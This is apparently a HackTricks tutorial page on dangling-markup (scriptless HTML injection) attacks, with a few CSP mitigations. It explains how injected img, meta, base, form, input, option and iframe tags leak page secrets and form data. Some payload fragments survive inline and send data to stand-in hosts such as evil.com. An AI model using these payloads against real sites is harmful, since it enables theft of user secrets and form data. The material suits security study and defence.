Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
This technique can be use to extract information from a user when an HTML injection is found. This is very useful if you don't find any way to exploit a XSS but you can inject some HTML tags. It is also useful if some secret is saved in clear text in the HTML and you want to exfiltrate it from the client, or if you want to mislead some script execution.
Several techniques commented here can be used to bypass some Content Security Policy by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
If you inject <img src='http://evil.com/log.cgi? when the page is loaded the victim will send you all the code between the injected img tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).
If the img tag is forbidden (due to CSP for example) you can also use <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Note that Chrome blocks HTTP URLs with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
You can also abuse CSS @import (will send all the code until it find a ";")
You could also use <table:
You could also insert a <base tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
Then, the forms that send data to path (like <form action='update_profile.php'>) will send the data to the malicious domain.
Set a form header: <form action='http://evil.com/log_steal'> this will overwrite the next form header and all the data from the form will be sent to the attacker.
The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
An attacker can use this to steal the information.
Find an example of this attack in this writeup.
Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "Stealing clear text secrets" with "Stealing forms2".
You can do the same thing injecting a form and an <option> tag. All the data until a closed </option> is found will be sent:
You can change the path of a form and insert new values so an unexpected action will be performed:
<noscript></noscript> Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in chrome://settings/content/javascript).
A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
From this portswiggers research you can learn that even from the most CSP restricted environments you can still exfiltrate data with some user interaction. In this occasion we are going to use the payload:
Note that you will ask the victim to click on a link that will redirect him to payload controlled by you. Also note that the target attribute inside the base tag will contain HTML content until the next single quote.
This will make that the value of window.name if the link is clicked is going to be all that HTML content. Therefore, as you control the page where the victim is accessing by clicking the link, you can access that window.name and exfiltrate that data:
Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
Or you can even try to execute some javascript:
A child document possesses the capability to view and modify the location property of its parent, even in cross-origin situations. This allows the embedding of a script within an iframe that can redirect the client to an arbitrary page:
This can be mitigated with something like: sandbox=' allow-scripts allow-top-navigation'
An iframe can also be abused to leak sensitive information from a different page using the iframe name attribute. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the sensitive info appear inside the iframe name attribute and then access that name from the initial iframe and leak it.
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
You could use meta http-equiv to perform several actions like setting a Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> or performing a redirect (in 5s in this case): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
This can be avoided with a CSP regarding http-equiv ( Content-Security-Policy: default-src 'self';, or Content-Security-Policy: http-equiv 'self';)
You can find a very interesting research on exploitable vulnerabilities of the <portal tag here.
At the moment of this writing you need to enable the portal tag on Chrome in chrome://flags/#enable-portals or it won't work.
Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
This is a mix between dangling markup and XS-Leaks. From one side the vulnerability allows to inject HTML (but not JS) in a page of the same origin of the one we will be attacking. On the other side we won't attack directly the page where we can inject HTML, but another page.
SS-LeaksXS-Search are oriented to exfiltrate cross-origin information abusing side channel attacks.Therefore, it's a different technique than Dangling Markup, however, some of the techniques abuse the inclusion of HTML tags (with and without JS execution), like CSS Injection or Lazy Load Images.
XS-Search/XS-LeaksLearn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
